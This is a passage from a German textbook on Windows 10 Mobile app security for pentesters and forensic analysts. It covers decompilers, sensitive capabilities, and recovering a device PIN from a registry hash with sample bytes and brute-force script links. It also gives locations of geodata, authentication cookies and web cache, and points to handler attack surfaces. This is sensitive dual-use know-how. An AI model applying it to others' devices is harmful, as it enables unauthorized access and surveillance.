Fall sehen wir, dass diese Methode innerhalb der Methode ReadJson() in derselben<br />
Klasse aufgerufen wird. Eine solche Baumstruktur kann uns beim Reversing<br />
und dem eigentlichen »Verstehen der Applikation« sehr helfen, da wir erkennen<br />
können, wo wichtige Methoden aufgerufen werden und wie Daten durch die Applikation<br />
fließen.<br />
Abb. 7–1: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in C#<br />
Abbildung 7–2 zeigt dieselbe Methode, nur diesmal haben wir als Zielsprache<br />
der Übersetzung Visual Basic angegeben und nicht wie in Abbildung 7–1 C#. Die<br />
Möglichkeit, hier verschiedene Zielsprachen anzugeben, ist gerade für Analysten,<br />
die ein tiefes Wissen im Lesen und Verstehen von einzelnen Programmiersprachen<br />
besitzen, eine sehr nützliche Funktion von .NET reflector.
7.3 Werkzeuge zum Analysieren der Applikationen 185<br />
Abb. 7–2: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in Visual Basic<br />
7.3.2 ILSpy<br />
ILSpy5 ist ein Tool, das in vielen Bereichen vergleichbar zu dem zuvor erwähnten<br />
.NET reflector ist. Der wesentliche Unterschied liegt darin, dass ILSpy als Open-<br />
Source-Lösung verfügbar ist und deshalb bei vielen Analysten sehr beliebt ist.<br />
ILSpy entstand Ende 2011, als bekannt wurde, dass .NET reflector einen neuen<br />
Urheber hat und nicht mehr weiter kostenlos zur Verfügung gestellt wird.<br />
Dies erklärt auch, weshalb der Aufbau des Tools sowie viele der Funktionen<br />
sehr ähnlich sind. Auch die Möglichkeit, die Bibliotheken in unterschiedliche<br />
Zielsprachen zu übersetzen, ist in ILSpy vorhanden, der einzige Unterschied liegt<br />
hierbei in der Anzahl der unterstützten Zielsprachen.<br />
Abbildung 7–3 zeigt die zuvor schon dargestellte Methode ReadRegexString()<br />
in C# innerhalb des Tools ILSpy. Wie man hier sehr gut erkennen kann, ist der<br />
Aufbau des Fensters fast identisch zu dem zuvor erwähnten .NET reflector.<br />
Die Erfahrung hat gezeigt, dass die Open-Source-Lösung ILSpy in den meisten<br />
Fällen ausreicht, um Windows-10-<strong>Mobile</strong>-Applikationen zu analysieren, und<br />
5 ILSpy: http://ilspy.net/ sowie https://github.com/icsharpcode/ILSpy
186 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />
Abb. 7–3: Beispiel einer dekompilierten .NET-Bibliothek in ILSpy in C#<br />
man nur selten an die Grenzen gerät, bei denen .NET reflector einen wirklichen<br />
Mehrwert bietet. Da diese Plattform aber noch relativ neu ist und daher auch<br />
einer stetigen Weiterentwicklung unterworfen ist, kann sich diese Einschätzung<br />
aber auch schnell ändern, daher ist es gut, wenn man mehrere Werkzeuge kennt,<br />
die einem beim Reversing unterstützen können.<br />
7.4 Zusammenfassung<br />
In diesem Kapitel haben wir den groben Aufbau von Windows-10-<strong>Mobile</strong>-<br />
Applikationen kennengelernt und dabei gesehen, welches die wichtigen<br />
Komponenten innerhalb des Applikationsmanifests (WMAppManifest.xml oder<br />
AppManifest.xml) sind. Auf diese Komponenten werden wir im folgenden Kapitel<br />
noch genauer eingehen und uns anschauen, warum sie so wichtig für uns beim<br />
Analysieren einer Windows-10-<strong>Mobile</strong>-Applikation sind.<br />
Im weiteren Verlauf des Kapitels wurde gezeigt, wie man an die Bestandteile<br />
einer Applikation kommt und welche Tools es gibt, um diese zu analysieren. Die<br />
wichtigsten Tools für den Zweck des Reversings sind neben dem schon erwähnten<br />
IDA Pro (siehe Abschnitt 5.4.2) vor allem .NET reflector und ILSpy.
187<br />
8 Sicherheitsprobleme bei<br />
Windows-10-<strong>Mobile</strong>-Applikationen<br />
Nachdem wir in Kapitel 7 erste Tools kennengelernt haben, mit denen man Windows-10-<strong>Mobile</strong>-Applikationen<br />
analysieren kann, möchten wir hier nun tiefer in<br />
die Betrachtung der eigentlichen Plattform und ihrer Applikationen eintauchen.<br />
Ein Schwerpunkt dieses Kapitels liegt in der forensischen Auswertung der<br />
Spuren oder Daten, die eine Applikation im Dateisystem zurücklässt. Des Weiteren<br />
werden wir uns ansehen, welche Schutzmechanismen es für Windows-10-<br />
<strong>Mobile</strong>-Applikationen gibt und wie man prüfen kann, ob diese auch vom Entwickler<br />
implementiert wurden. Zum Abschluss wird gezeigt, wie man weitere<br />
Vektoren für manuelle Angriffe bei diesen Applikationen finden kann und wo<br />
das manuelle Pentesten sinnvoll ist.<br />
8.1 Analyse der Zugriffe auf sensible Nutzerdaten<br />
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />
geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten<br />
(wie z. B. Bilder, Videos und sensible Dokumente) untersucht.<br />
An dieser Stelle wird es deutlich aufwendiger, als wir es bei Android in Abschnitt<br />
4.2 gesehen haben. Dies liegt im Wesentlichen daran, dass es momentan<br />
keine Werkzeuge gibt, die uns bei der Analyse unterstützen – wie z. B. eine dynamische<br />
Analyse in einer überwachten und protokollierten Umgebung –, und wir<br />
daher alle Schritte manuell durchführen müssen.<br />
Die in Tabelle 8–1 abgebildeten Berechtigungen – oder Capabilities, wie sie<br />
bei Windows 10 <strong>Mobile</strong> genannt werden (siehe dazu auch Abschnitt 7.1) – zählen<br />
zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden<br />
sollte und die für uns als Analysten eine wichtige Rolle spielen. Dies liegt hauptsächlich<br />
daran, dass die damit verbundenen personenbezogenen Daten im Bereich<br />
Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.<br />
An dieser Stelle gibt es eine gravierende Änderung zwischen Windows<br />
Phone 8.x und Windows 10 <strong>Mobile</strong>: Um als Entwickler von Applikationen auf<br />
das Adressbuch oder den Kalender des Nutzers zugreifen zu dürfen, wurde in<br />
den älteren Versionen immer die Berechtigung (Capability) ID_CAP_CONTACTS bzw.
188 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />
Berechtigung<br />
documentsLibrary<br />
picturesLibrary<br />
videosLibrary<br />
musicLibrary<br />
enterpriseAuthentication<br />
sharedUserCertificates<br />
location<br />
microphone<br />
webcam<br />
Zugriffsrecht<br />
Zugriff auf die gespeicherten Dokumente eines definierten<br />
Dateityps. Die Dateitypen müssen ebenfalls innerhalb des<br />
Manifests deklariert sein.<br />
Zugriff auf die gespeicherten Bilder auf dem Endgerät.<br />
Zugriff auf die gespeicherten Videos auf dem Endgerät.<br />
Zugriff auf die gespeicherte Musik (z. B. MP3-Dateien) und<br />
die Playlists auf dem Endgerät sowie auf verbundenen<br />
Heimnetzwerk-Computern.<br />
Zugriff auf die hinterlegten Windows-Zugangsdaten für das<br />
firmeneigene Intranet.<br />
Zugriff auf Soft-/Hardware-Zertifikate sowie auf eine<br />
eventuell vorhandene Smartcard und deren Zertifikate.<br />
Zugriff auf die aktuelle Position des Nutzers (GPS oder<br />
Triangulation).<br />
Zugriff auf das verbaute Mikrofon des Endgerätes.<br />
Zugriff auf die verbaute Kamera des Endgerätes.<br />
Tab. 8–1: Liste der kritischen (Device-)Capabilities in Windows 10 <strong>Mobile</strong><br />
ID_CAP_APPOINTMENTS benötigt. Seit Windows 10 <strong>Mobile</strong> benötigt man keine Capabilities<br />
mehr, um auf diese Daten zuzugreifen. Dies macht es für den Analysten<br />
deutlich schwerer, herauszufinden, ob eine Applikation unerwünschterweise auf<br />
diese sensiblen Daten zugreift oder nicht, da im Manifest der Applikation keine<br />
Hinweise mehr auf diese Zugriffe zu finden sind.<br />
Für den Nutzer gibt es aber auch unter Windows 10 <strong>Mobile</strong> die Möglichkeit,<br />
sich die Applikationen anzeigen zu lassen, die Zugriff auf persönliche Daten wie<br />
das Adressbuch und den Kalender verlangen. Dies geschieht über Einstellungen<br />
Datenschutz wie in Abbildung 8–1 zu sehen ist.<br />
Findet man innerhalb des Manifests (WMAppManifest.xml oder AppManifest.xml)<br />
die zuvor beschriebenen Capabilities – und sind diese nicht durch die Funktion<br />
der Applikation direkt erklärbar –, lohnt sich meist ein Blick in den Quellcode,<br />
um herauszufinden, was die Applikation mit diesen Rechten vorhat. Wie man<br />
hierbei vorgeht, ist in Abschnitt 7.2 exemplarisch beschrieben.
8.2 Spurensuche im Dateisystem 189<br />
Abb. 8–1: Datenschutzeinstellungen in Windows 10 <strong>Mobile</strong><br />
8.2 Spurensuche im Dateisystem<br />
Wie wir schon bei Android (in Abschnitt 4.7) und iOS (in Abschnitt 6.4) gesehen<br />
haben, besteht eine sehr wichtige Aufgabe bei einem Penetrationstest darin, die<br />
Speicherung der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei<br />
Windows 10 <strong>Mobile</strong> lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie<br />
z. B. Passwörter) und sensible Dokumente finden, die mit der Applikation zuvor<br />
verarbeitet wurden.<br />
Im Rahmen der kommenden Abschnitte sehen wir uns interessante Daten<br />
und deren Speicherort an, die für einen Sicherheitsanalysten immer einen Blick<br />
wert sind. Zu diesen Orten zählen neben den Nutzer- und Applikationsdaten<br />
(Abschnitt 8.2.2) auch die Cache-Dateien und Cookies der Applikation (Abschnitt<br />
8.2.3).<br />
Ähnlich wie auch bei Android gibt es bei Windows 10 <strong>Mobile</strong> bekannte Wege,<br />
wie man an der Bildschirmsperre vorbeikommt, ohne dass man die Mitarbeit<br />
des Nutzers erhält. Darauf gehen wir in Abschnitt 8.2.1 kurz ein.
190 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />
8.2.1 Die PIN-Sperre brechen<br />
Um bei einem Windows-10-<strong>Mobile</strong>-Endgerät die PIN des Nutzers zu berechnen,<br />
ist es – wie auch schon bei Android – nötig, Zugriff auf das unverschlüsselte<br />
Dateisystem zu haben. Dieser Punkt ist immer einer der strittigsten, denn wenn<br />
man schon Zugriff auf das Dateisystem hat, wieso soll man sich dann noch die<br />
Mühe machen, die PIN für die Bildschirmsperre mühselig zu berechnen? Ganz<br />
einfach: Die meisten Nutzer verwenden diese PIN auch an anderen Stellen auf<br />
dem Smartphone. Hierzu zählen u. a. weitere Applikationen, die zusätzlich mit<br />
einer PIN geschützt sind, oder auch der Login an einem Windows 10-Rechner im<br />
Büro. Somit kann es also durchaus lohnenswert sein, die PIN auf dem Smartphone<br />
zu berechnen (wo man weiß, wie es geht).<br />
Francesco Picasso und Mattia Epifani (beide von Zena Forensic) sowie Adrian<br />
Leong (bekannt unter dem Pseudonym Cheeky4n6Monkey) haben in mehreren<br />
Veröffentlichungen gezeigt, wie man an die PIN des Nutzers auf einem<br />
Windows-10-<strong>Mobile</strong>- und Windows-Phone-8.x-Endgerät gelangt. Im Folgenden<br />
wird dies kurz zusammengefasst und das Wichtigste daraus für einen Sicherheitsanalysten<br />
dieser Plattform demonstriert. Sie haben auch zwei Python-Skripte1 , 2<br />
zur Verfügung gestellt, die das Berechnen der PIN übernehmen.<br />
Zur Demonstration nehmen wir an, dass der PIN-Code eines Windows-10-<br />
<strong>Mobile</strong>-Endgerätes 5338 lautet. Nun stellt sich also die Frage, wie kommen wir<br />
an diesen Code, wenn wir nur das Gerät haben?<br />
Im ersten Schritt benötigen wir Root-Zugriff oder einen physischen Dump des<br />
Endgerätes, der z. B. durch Auslesen des Speichers gewonnen werden kann. Dieser<br />
Schritt ist mit Abstand der aufwendigste, vor allem wenn es um das Erstellen eines<br />
physischen Abbilds geht, da man hierfür teure Spezialhardware und eine Menge<br />
an Übung benötigt. Für unser Beispiel gehen wir davon aus, dass wir Root-Zugriff<br />
auf das Endgerät haben.<br />
Im zweiten Schritt wollen wir erste Hinweise auf die PIN finden. Dazu wechseln<br />
wir in die Registry und dort in den SOFTWARE-Hive. Innerhalb dieses Hives<br />
suchen wir nach \Microsoft\Comms\Security\DeviceLock\. An dieser Stelle sollten<br />
wir nun mehrere Verzweigungen finden, die ObjectXXX heißen (wobei XXX eine<br />
zwei- oder dreistellige Nummer ist). In jeder dieser Verzweigungen kann sich der<br />
entscheidende Hinweis auf die PIN – nämlich der CredentialHash – befinden. In<br />
unserem Beispiel sieht er wie folgt aus:<br />
1 winphonepincrk:<br />
https://github.com/RealityNet/hotoloti/blob/master/sas/winphonepincrk.py<br />
2 wp8-sha256-pin-finder:<br />
https://github.com/cheeky4n6monkey/4n6-scripts/blob/master/wp8-sha256-pin-finder.py
8.2 Spurensuche im Dateisystem 191<br />
80 00 00 00 0E 00 00 00 20 00 00 00 0E A6 31 F7<br />
C9 A4 71 58 20 7C C1 4D D5 B1 55 AF 87 0E 95 1C<br />
35 7C F4 A2 0E 4F 83 A5 26 1F D9 01 1D 25 AB 2D<br />
D1 5B D2 FE D4 DC 7E 49 33 86 2B E5 A3 B9 1F 6D<br />
A7 59 A0 31 0B 59 A7 E3 59 30 51 1C 4F B5 EC 8F<br />
7E D0 9A 07 A7 A2 8B 26 A7 CC 15 F0 FC AF F7 E4<br />
24 7D A0 9E 0B EB 2B 78 50 5B DA 5B B6 C6 76 C3<br />
05 BB BC 2C 06 9E E0 00 39 3B ED 24 E6 86 D3 5D<br />
21 A1 E8 9D 99 C3 70 67 C9 F4 DD ED 53 00 48 00<br />
41 00 32 00 35 00 36 00 00 00 F9 CD B5 90 E8 7D<br />
9F 88 1E 6A FF 5E C9 BB 5C 0B 27 7E 21 48 9D 9B<br />
89 3F 84 13 82 3A A9 9D 10 36<br />
Der Aufbau dieses Byte-Arrays ist recht einfach, wie man auch schon an der<br />
Hervorhebung sehen kann:<br />
Das erste DWORD (also die ersten 4 Byte) gibt die Länge des Salt an, mit<br />
dem unser Hash so manipuliert wird, damit das Verwenden einer Rainbow Table<br />
nicht möglich wird (0x80, was 128 Byte entspricht). Das zweite DWORD gibt<br />
die Länge des Strings an, der den Hashalgorithmus beschreibt (0x0E, was 14 Byte<br />
entspricht), und das dritte DWORD steht für die Länge des eigentlichen gesalzenen<br />
Hashes unserer PIN (0x20, was 32 Byte entspricht).<br />
Durch diese Längenangaben können wir nun also schon alle drei Bestandteile<br />
– die wir im weiteren Verlauf benötigen – extrahieren:<br />
1. Salt<br />
2. Hashalgorithmus<br />
3. Gesalzener Hash unserer PIN<br />
Um den Hashalgorithmus in für uns verständlicher Form zu bekommen, müssen<br />
wir nur die Bytefolge 53 00 48 00 41 00 32 00 35 00 36 00 00 00 von Hex in<br />
ASCII umwandeln, was SHA256 ergibt.<br />
Nun können wir entweder manuell eine PIN, von der wir vermuten, dass sie<br />
die vom Nutzer verwendete ist, mittels des folgenden Pseudocodes überprüfen<br />
oder wir können die zuvor schon erwähnten Python-Skripte von Francesco Picasso<br />
oder Adrian Leong verwenden, die einen Brute-Force-Angriff auf unsere<br />
extrahierten Werte starten.<br />
SHA256(UTF-16LE() + Salt) == gesalzener Hash<br />
8.2.2 Applikations- und Geodaten finden<br />
Nachdem wir nun zum einen die PIN des Nutzers kennen und damit die Bildschirmsperre<br />
umgehen können, aber zum anderen auch Root-Rechte im Datei-
192 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />
system haben, können wir uns hier auch nach interessanten Daten des Nutzers<br />
und der installierten Applikationen umschauen.<br />
Für die Applikationen selbst und ihre Daten ist das deutlich einfacher, da sie<br />
alles, was sie auf dem Gerät lokal ablegen können, nur in ihrer eigenen Sandbox<br />
speichern können. Diese befindet sich unter C:\Data\Users\DefApps\APPDATA\Local\<br />
Packages\. Hier finden wir alle Datenbanken, auf die die ausgewählte<br />
Applikation Zugriff hat, aber auch alle Dokumente, die sie zwischenspeichert<br />
oder zum Analysezeitpunkt geöffnet hat. Hier sehen wir auch, ob eine Applikation<br />
die lokalen Daten verschlüsselt – also selbst dafür sorgt, dass sie vor<br />
unberechtigten Dritten geschützt sind – oder ob sie sich voll auf das darunterliegende<br />
Betriebssystem verlässt.<br />
Ebenso wichtig wie die Daten der Applikationen selbst sind auch Daten, die<br />
den Nutzer des Endgerätes betreffen. Wo befand sich der Nutzer (oder zumindest<br />
das Smartphone) zu einem bestimmten Zeitpunkt?<br />
Um diese Frage beantworten zu können, benötigen wir Geodaten, die das<br />
Smartphone für uns abgelegt hat. Im Folgenden werden ein paar der gängigen<br />
Orte aufgezeigt, wo man diese Art der Daten außerhalb von manuell installierten<br />
Applikationen noch finden kann. Hierzu zählt z. B. der Verlauf der Funktion<br />
FindMyPhone, die Microsoft seit Windows Phone 8 anbietet. Diese Daten liegen<br />
auf dem Endgerät in csd-Dateien unter C:\Data\Users\APPDATA\Local\dcpsvc\<br />
StagingFiles\.<br />
Ebenso finden sich u. U. Geodaten in den Daten von Cortana, dem Sprachassistenten<br />
von Windows 10. Hier gibt es sogenannte Grammar-Dateien, die im Dateisystem<br />
unter C:\Data\SharedData\Speech\Grammars\ enthalten sind. Für Geodaten<br />
sind die Dateien PointsOfInterestGrammar.cfp.txt und PointsOfInterest2Grammar<br />
.cfp.txt besonders von Interesse, da sich hier alle Orte befinden, die der Nutzer<br />
Cortana beigebracht hat, also z. B. so etwas wie »Zuhause« oder »Arbeit« –<br />
selbstverständlich mit den zugehörigen GPS-Daten.<br />
Schlussendlich gibt es – wie üblich für die meisten der aktuellen Browser –<br />
auch noch GPS-Daten innerhalb der Vorschläge des Browsers, die er dem Nutzer<br />
während der Suchanfragen gemacht hat. Diese findet man in der Registry<br />
im SOFTWARE-Hive unter Microsoft\BingSuggests. Im selben Hive, jedoch unter<br />
OEM\Nokia\NokiaAccessories\Devices\, findet man auch einen Eintrag,<br />
wo das Gerät zuletzt aktiv war.<br />
Mit diesen Hinweisen und den analysierten Applikationsdateien kann man<br />
die Frage nach dem Aufenthalt des Endgerätes und damit auch seines Besitzers<br />
in den meisten Fällen recht zuverlässig beantworten. Wichtig dabei ist jedoch,<br />
immer zu beachten, dass man nie einer einzelnen Quelle ohne weitere Hinweise<br />
glauben sollte. Es gab schon viele Fälle, wo ein Gerät falsche Geodaten zu einem<br />
Ereignis abgelegt hat.
8.3 Fehlende systemeigene Sicherheitsfunktionen ... 193<br />
Wer noch tiefer in die Forensik von Nutzerdaten unter Windows 10 <strong>Mobile</strong><br />
einsteigen möchte, sollte sich auf jeden Fall den Blogeintrag3 von Adrian Leong<br />
zu diesem Thema genauer anschauen.<br />
8.2.3 Cookies und Web-Cache finden und analysieren<br />
Windows-10-<strong>Mobile</strong>-Applikationen, die eine Browser- oder Webview-Funktionalität<br />
anbieten – was auf die Mehrzahl der vorhandenen Applikationen zutrifft<br />
–, verwenden hierzu den Basisquellcode aus der API-Dokumentation. Diese<br />
Beispielimplementationen enthalten keine Hinweise darauf, wie man angelegte<br />
Cookies auch wieder löscht, sobald sie nicht mehr benötigt werden. Genau das<br />
können wir uns als Analysten oder Angreifer zunutze machen, um nach Cookies<br />
zu suchen, die zur Authentifizierung verwendet werden.<br />
Auf einem Windows-10-<strong>Mobile</strong>-Endgerät finden wir diese Cookies unter<br />
C:\Data\Users\DefApps\APPDATA\\INetCookies\. Dabei ist jedoch zu beachten,<br />
dass das Verzeichnis INetCookies im System als versteckt definiert ist und<br />
man den Pfad von Hand eingeben muss, der Dateiexplorer wird dieses Verzeichnis<br />
beim Browsen durch den Verzeichnisbaum nicht angeben.<br />
Möchte man als Entwickler verhindern, dass ein Angreifer oder Analyst diese<br />
Cookies finden und gegen den Nutzer verwenden kann, so reicht es aus, beim<br />
Beenden der Applikation oder beim Sperren des Bildschirms dafür zu sorgen, dass<br />
die eigene Applikation die Cookies löscht. Dies gelingt z. B. durch Verwenden der<br />
ClearCookiesAsync()-API.<br />
Was für die Cookies gilt, gilt leider auch für den HTTP- und HTTPS-Cache<br />
der Applikation. Dieser befindet sich wieder in einem versteckten Verzeichnis.<br />
Diesmal jedoch unter: C:\Data\Users\DefApps\APPDATA\\INetCache\. Hier<br />
findet man alles, was die Applikation durch die Browser- oder Webview-Funktionalität<br />
auf das Endgerät zum Zwischenspeichern heruntergeladen hat.<br />
8.3 Fehlende Sicherheitsfunktionen in<br />
Windows-10-<strong>Mobile</strong>-Applikationen erkennen<br />
Wie wir schon bei iOS gesehen haben, gibt es auch bei Applikationen für Windows<br />
10 <strong>Mobile</strong> (sowie auch für die Vorgängerversionen Windows Phone 7.x<br />
und 8.x) einige Sicherheitsfunktionen, die für native Bestandteile der Applikation<br />
implementiert sein müssen. Hierzu zählen u. a. die folgenden:<br />
■<br />
■<br />
■<br />
ALSR<br />
DEP<br />
AppContainer Checks<br />
3 An Initial Peep at Windows 10 <strong>Mobile</strong>: http://cheeky4n6monkey.blogspot.de/2016/<br />
04/an-initial-peep-at-windows-10-mobile.html
194 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />
■<br />
■<br />
■<br />
■<br />
■<br />
WX Check<br />
Executable Import Checks<br />
Shared Section Checks<br />
Stack Overflow Protection<br />
Stack Cookies Checks<br />
Um diese Funktionen zu prüfen, bietet Microsoft ein eigenes Tool an: BinScope<br />
Binary Analyzer4 . Hiermit ist es über eine gut strukturierte Oberfläche möglich,<br />
alle Features zu prüfen, die innerhalb einer Applikation vorhanden sein sollten<br />
(siehe dazu auch Abbildung 8–2).<br />
Abb. 8–2: BinScope Binary Analyzer-Konfiguration<br />
Bei diesem Vorgehen ist jedoch zu beachten, dass man BinScope nicht mit der<br />
gepackten Applikation als xap- oder appx-Datei füttern darf. Man muss zuerst die<br />
Applikation entpacken und kann dann die nativen Bestandteile der Applikation<br />
einzeln mithilfe von BinScope analysieren. Gerade bei großen Applikationen mit<br />
vielen Bestandteilen macht es das sehr aufwendig.<br />
Für jedes der analysierten Binaries gibt es nach Abschluss der Prüfung eine<br />
Übersicht innerhalb von BinScope mit Details zu den nicht bestandenen Tests<br />
(siehe Abbildung 8–3 für ein Beispiel) und einen ausführlicheren Bericht, den man<br />
sich als CSV- oder XML-Datei exportieren kann (siehe dazu Abbildung 8–4).<br />
Viele dieser Checks sind bereits Bestandteil der Zertifizierung durch Microsoft<br />
und gehören somit zu den Bedingungen, damit eine Applikation in den offiziellen<br />
Store aufgenommen werden kann. Jedoch sollte man beim Betrachten<br />
4 BinScope Binary Analyzer: https://www.microsoft.com/en-us/download/details.aspx?<br />
id=44995
8.3 Fehlende systemeigene Sicherheitsfunktionen ... 195<br />
Abb. 8–3: BinScope Binary Analyzer-Ergebnis<br />
Abb. 8–4: BinScope Binary Analyzer-Bericht<br />
einer Windows-10-<strong>Mobile</strong>-Applikation immer die vollständige Prüfung mittels<br />
BinScope vornehmen, um sicherzustellen, dass der Entwickler auch alle notwendigen<br />
und empfohlenen Sicherheitsfunktionen in die Applikation implementiert<br />
hat.
196 8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen<br />
8.4 Weitere Angriffsvektoren erkennen<br />
Neben den in diesem Kapitel bereits erwähnten Einstiegspunkten in eine Applikation<br />
gibt es noch weitere sogenannte Angriffsvektoren, die man bei einer Sicherheitsuntersuchung<br />
einer Applikation in Betracht ziehen sollte. Hierzu zählen<br />
vor allem registrierte Handler für Dateitypen oder Protokolle. Die Arbeit von uns<br />
Analysten liegt hier im eigentlichen Fuzzing, dem Füttern der Applikation mit<br />
Eingaben, die sie an dieser Stelle nicht erwartet.<br />
8.4.1 Handler für Dateitypen<br />
Codebeispiel 8–1 zeigt einen einfachen Auszug aus einem Windows-10-<strong>Mobile</strong>-<br />
Manifest mit der Deklaration von zwei Dateitypen: .txt und .docx. Eine Applikation,<br />
die diese Tags in ihrem Manifest hat, ist in der Lage, Dateien mit den<br />
beiden erwähnten Dateiendungen zu öffnen. Da viele der Applikationen noch für<br />
den Vorgänger Windows Phone 8.x erstellt wurden, ist in Codebeispiel 8–2 der<br />
Auszug aus einem entsprechenden Manifest dargestellt.<br />
<br />
.txt<br />
.docx<br />
<br />
Codebeispiel 8–1: Auszug aus einem Windows-10-<strong>Mobile</strong>-Manifest mit deklarierten Dateitypen<br />
<br />
.txt<br />
.docx<br />
<br />
Codebeispiel 8–2: Auszug aus einem Windows-Phone-8.x-Manifest mit deklarierten Dateitypen<br />
Dabei ist gerade bei .docx-Dateien die Möglichkeit vorhanden, dass eingebetteter<br />
Code beim Öffnen der Datei von der Applikation ausgeführt wird, was bei fehlerhaften<br />
Prüfroutinen zu ungewollten Aktionen führen kann. Solche Angriffsvektoren<br />
sollten immer kontrolliert werden, da sich hier gravierende Sicherheitslücken<br />
verstecken können und schadhafte Office-Dokumente in der Vergangenheit immer<br />
wieder Einstiegspunkte für Angriffe und Infektionen waren.
8.5 Zusammenfassung 197<br />
8.4.2 Handler für eigene Protokolle<br />
Neben den gerade erwähnten Handler für Dateitypen gibt es auch die Möglichkeit,<br />
eigene Protokolle mit einer Applikation zu verbinden. Dies ist bei vielen<br />
aktuellen Applikationen – wie z. B. Facebook, Twitter oder Syncplicity – der Fall.<br />
In Codebeispiel 8–3 ist ein Auszug aus einem Manifest abgebildet, bei dem<br />
die zugehörige Applikation auf Protokolle des Typs hackme:// reagiert. Dies bedeutet,<br />
dass jedes Mal, wenn in irgendeiner anderen Applikation oder dem Browser<br />
ein Link auftaucht, der mit diesem Protokoll-Handler beginnt, die zugehörige<br />
Applikation gestartet und der Link interpretiert bzw. verarbeitet wird. Hat die<br />
Applikation Schwächen in der Validierung der Übergabewerte – also in dem Bestandteil,<br />
der dem Protokoll-Handler hackme:// folgt –, können diese Schwächen<br />
von Angreifern, aber auch von Analysten ausgenutzt werden, um der Applikation<br />
Informationen zu entlocken, die sie eigentlich nicht preisgeben würde.<br />
<br />
<br />
<br />
Codebeispiel 8–3: Auszug aus einem AppManifest.xml mit deklarierten Protokollen<br />
8.5 Zusammenfassung<br />
Wie man an anhand dieses Kapitels – vor allem im Vergleich zu den entsprechenden<br />
Kapiteln für Android und iOS – erkennen kann, ist die Windows-10-<strong>Mobile</strong>-<br />
Welt noch relativ unerforscht, was die Analyse der Applikationen und der darin<br />
enthaltenen potenziellen Sicherheitslücken angeht. Auch die Auswahl an Werkzeugen<br />
oder Leitfäden, die einen Analysten hier unterstützen, sind im Vergleich<br />
zu den anderen Betriebssystemen nahezu nicht vorhanden.<br />
Trotz allem wurden einige hilfreiche Werkzeuge und Einstiegspunkte in die<br />
Analyse demonstriert sowie Hinweise gegeben, wo es sich lohnt, etwas genauer<br />
hinzuschauen und mehr manuelle Arbeit zu investieren. Dabei sind vor allem<br />
der Bereich der forensischen Analyse (Abschnitt 8.2) und die Zugriffe auf sensible<br />
Daten (Abschnitt 8.1) wichtige Aspekte einer Applikationsuntersuchung und<br />
sollten daher auf jeden Fall durchgeführt werden.<br />
Wer es im Alltag noch mit den älteren Versionen dieser Applikationen zu tun<br />
hat, der findet eine sehr gute Betrachtung der Sicherheit von Windows-Phone-<br />
8.x-Applikationen in einem Whitepaper5 von MWR-Labs [12].<br />
5 Whitepaper zur Sicherheit von Windows-Phone-8.x-Applikationen: https://<br />
labs.mwrinfosecurity.com/publications/windows-phone-8-application-security-slidessyscan-2014/
199<br />
9 Angriffe auf die Datenübertragung<br />
In der heutigen Zeit, in der es den Nutzern immer mehr auf die Sicherheit der<br />
privaten Daten ankommt und die Bevölkerung sehr stark den Bereich des Datenschutzes<br />
und der Privatsphäre schätzt, sind auch mobile Applikationen von<br />
diesem wichtigen Trend betroffen.<br />
Im Wesentlichen werden wir in diesem Kapitel auf die drei häufigsten der<br />
möglichen Angriffe auf eine mit SSL gesicherte Verbindung zwischen Applikation<br />
und Backend eingehen: klassische Man-in-the-Middle-Angriffe mit (nicht-)<br />
vertrauenswürdigen Zertifikaten, die Umgehung des Certificate Pinning sowie<br />
SSL-Strip.<br />
9.1 Schutz der übermittelten Daten auf dem<br />
Transportweg<br />
Immer mehr Webseiten und -services bieten ihren Dienst nur noch per verschlüsselter<br />
Verbindung an, um damit die Datenübermittlung auf dem Transportweg<br />
vor unberechtigten Dritten zu schützen. Im Volksmund wird diese Verschlüsselung<br />
oft Secure Sockets Layer (SSL) genannt – auch wenn dies für heutige Verbindungen<br />
meist nicht mehr zutrifft.<br />
SSL war der Grundstein, auf dem in den vergangenen Jahren viele neue Verschlüsselungsstandards<br />
aufgebaut wurden. Jedoch sind vor allem die älteren SSL-<br />
Protokollversionen in den vergangenen Jahren Ziel von standardisierten Angriffen<br />
geworden oder besitzen gravierende Schwächen in der Implementierung, die<br />
eine Sicherheit der Übertragung nicht mehr gewährleisten. Heutzutage verwenden<br />
die meisten Webseiten daher die neueren Protokollversionen, die unter dem<br />
Namen Transport Layer Security (TLS) bekannt sind. Der aktuelle Standard ist<br />
TLS1.2. Im Rahmen dieses Buches halten auch wir uns an die gebräuchliche Deklaration<br />
und verwenden SSL als Synonym für alle Protokollversionen.<br />
Auf welche Protokollversion sich die Applikation und der Backend-Server<br />
einigen, ist für die im Folgenden gezeigten Angriffe jedoch nicht von Interesse:<br />
Wir konzentrieren uns hierbei nicht auf Schwachstellen in der Implementierung<br />
des Protokolls selbst, sondern nur auf Schwachstellen oder Designfehler in der<br />
Anbindung dieser Protokolle innerhalb der mobilen Applikationen. Denn dies
200 9 Angriffe auf die Datenübertragung<br />
sind auch die Fehler, die ein Entwickler schnell beseitigen kann, um die Sicherheit<br />
und das Vertrauen in die Applikation wieder herzustellen.<br />
Exkurs: SSL-Verbindung<br />
Prinzipiell handelt es sich bei einer SSL-Verbindung um ein hybrides Verschlüsselungsprotokoll<br />
zur sicheren Datenübertragung, d. h., es kommt sowohl eine symmetrische<br />
Verschlüsselung (beim Session-Key) als auch eine asymmetrische Verschlüsselung<br />
(beim Schlüsselaustausch) zum Einsatz. Dabei baut der Client (hier<br />
die mobile Applikation) eine Verbindung zum Backend-Server auf. Der Backend-<br />
Server authentisiert sich gegenüber dem Client mit einem X.509-Zertifikat, das vom<br />
Client speziell in Bezug auf die Gültigkeit und die Übereinstimmung des Servernamens<br />
